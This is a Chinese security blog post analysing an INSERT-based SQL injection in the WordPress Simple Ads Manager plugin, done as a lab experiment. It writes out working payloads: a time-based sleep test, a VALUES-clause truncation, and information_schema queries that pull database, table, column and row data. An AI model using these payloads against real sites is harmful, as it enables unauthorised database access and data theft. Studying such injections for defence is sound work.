安全社区
黑盾云安全社区,与你一起分享安全领域的知识与智慧
黑盾云安全社区,与你一起分享安全领域的知识与智慧
安全研究2015-04-29 15:37:15 4736次围观
前言
这篇文章是对一个WordPress插件注入漏洞研究的分析、实验和思考的记录。
概述
关于SQL注入,想必这里也不用多讲。互联网上关于SQL注入的Paper、Blog有很多,以及各个漏洞平台层出不穷的漏洞报告。但是,这些漏洞都有一个很大的共同点:数据查询参数过滤不够严谨所导致的Select型注入。
这两天在对一个WordPress插件漏洞分析的时候,发现其漏洞存在于Insert语句之中,和之前所接触到的漏洞有很大的不同。于是对这个漏洞进行了深入的分析、实验、思考、总结,下面是这次漏洞研究的详细过程。
过程记录
WordPress漏洞:
首先得说明一下这个WordPress插件漏洞(WordPress Simple Ads Manager),https://www.exploit-db.com/exploits/36613/,这个exploit中包括了多个注入漏洞,我们主要关注的是 SQL INJECTION 1.
上图中主要的信息有三个,从上之下分别是:①注入页面 ②注入点 ③漏洞代码
漏洞环境:
为了能够漏洞重放,首先就是环境搭建。我的测试环境中有WordPress,只需要安装存在此漏洞的插件即可。下面是我的实验环境:
OS: CentOS 6.6PHP: 5.3.3Mysql: 5.1.73WordPress: 4.2-zh_CNSimple-Ads-Manager: 2.6.96
安装此插件后,需要启用此插件。然后在后台添加一个测试的Ad,并在文章中引用此Ad.下面是我的测试Ad:
当访问带有此Ad的页面是,就会触发此漏洞页面。
漏洞验证:
使用Burpsuite Repeater重放测试,正常的请求
红色框为请求的参数信息
action=sam_hits&hits%5B0%5D%5B%5D=1&hits%5B0%5D%5B%5D=1&level=3
解码为:
action=sam_hits&hits[0][]=1&hits[0][]=1&level=3
绿色框为返回的信息
竟然返回sql,不过这不是重点,都可以拿到源代码什么看不到呢?
这里有两个hits[0][],前面的对应的sql语句中的pid,后门的对应的是id. 下面根据上面的WordPress漏洞进行注入测试:
Paylaod: (select 1)
咋一看,虽然提示success,感觉有点不对劲。
Payload: (select * from (select (sleep(5)))abcd)burpsuite经过5s左右成功响应,这里我用curl做一个对比漏洞验证完毕,存在Time-Based Sql注入,造成此漏洞的原因是由于对hits未做过滤。下面就是不断的判断获取数据了,不过这不是我们想要的
注意: 为了能够和后面的ID区分,从下面开始我会将PID的值更改为数字2
思考:能否直接输出SQL查询?
Payload
能否直接输出SQL查询?要探究这个问题,我们可以将第一张图的第三处和Burpsuite返回的sql结合分析,有一种似曾相识的感觉:截断原有的数据,构造新的数据。
因为我们这里通过返回的sql知道这个表有5个字段,而我们测试的位置对应pid,所以构造的payload如下:
Payload: 2,null,null,null); --
返回success, 登录数据库确认数据成功插入。这里是在我们对字段数已知的情况下的测试,对于未知字段,完全可以通过N*null去测试。
输出点
payload可以执行,那怎么输出SQL查询呢?要能够输出就必须有输出点,很遗憾在这个环境下只能输入执行的状态。既然没有输出点,我们来构造 一个数据点。这里我采用一个模拟的场景:这里的Ad过程,可以想象成用户提交评论,用户提交后可以在某个页面查询到此评论的内容。
这里本来不想改变数据库,不过在此表的结构不适合此模拟。
改动如下:
修改数据库,给wp_sam_status添加一个字段rmsg
alter table wp_sam_stats add column msg varchar(100) after remote_addr;
修改程序,修改文件/wp-content/plugins/simple-ads-manager/sam-ajax.php 117行
$sql = "INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr) VALUES {$values};";修改为$sql = "INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr, msg) VALUES {$values};";
测试payload:
获取基本信息:2,null,null,null,( select concat_ws(‘’:‘’,version(),user(),database()) )); -- 获取数据库:2,null,null,null,( select group_concat(unhex(hex(schema_name))) from information_schema.schemata )); -- 获取数据表:2,null,null,null,( select group_concat(unhex(hex(table_name))) from information_schema.tables where table_schema=database() )); -- 获取数据字段(已 wp_sam_stats 为例)2,null,null,null,( select group_concat(unhex(hex(column_name))) from information_schema.columns where table_name=‘’wp_sam_stats‘’ )); -- 获取数据内容2,null,null,null,( select group_concat(concat_ws(‘’:‘’,id,name)) from t1 )); --
数据库内容如下:
可以看到我们查询的数据已经插入到msg字段中,如果某个页面能够查看到此字段(比如评论查看),那么我们就可以直接输出SQL查询信息。
说明: 这里最后获取一个T1的表的内容,因为在测试的时候不知为何无法从wp_sam_stats中获取数据
总结
其实不管对于select、insert、delete、update型的注入,其注入的核心思想始终是不变的,我们只需根据不同的环境做相应的思想转变。通过本次的实验,我们可以得出以下结论:
INSERT类型注入的两个条件:
①执行状态 ②输出点
Update: 上文中提到的思想,其实网上很久之前就存在了,但是在研究此漏洞之前,作者对这种类型的漏洞几乎没有实际的接触。上面的过程可以说是自己根据自己目前了解 的知识,一步一步的分析和实践,最后抛出自己的个人见解,可以说此篇文章更侧重的是漏洞分析和扩展的过程。各位,刀下留人。
下一篇: 数千万社保用户信息或遭泄露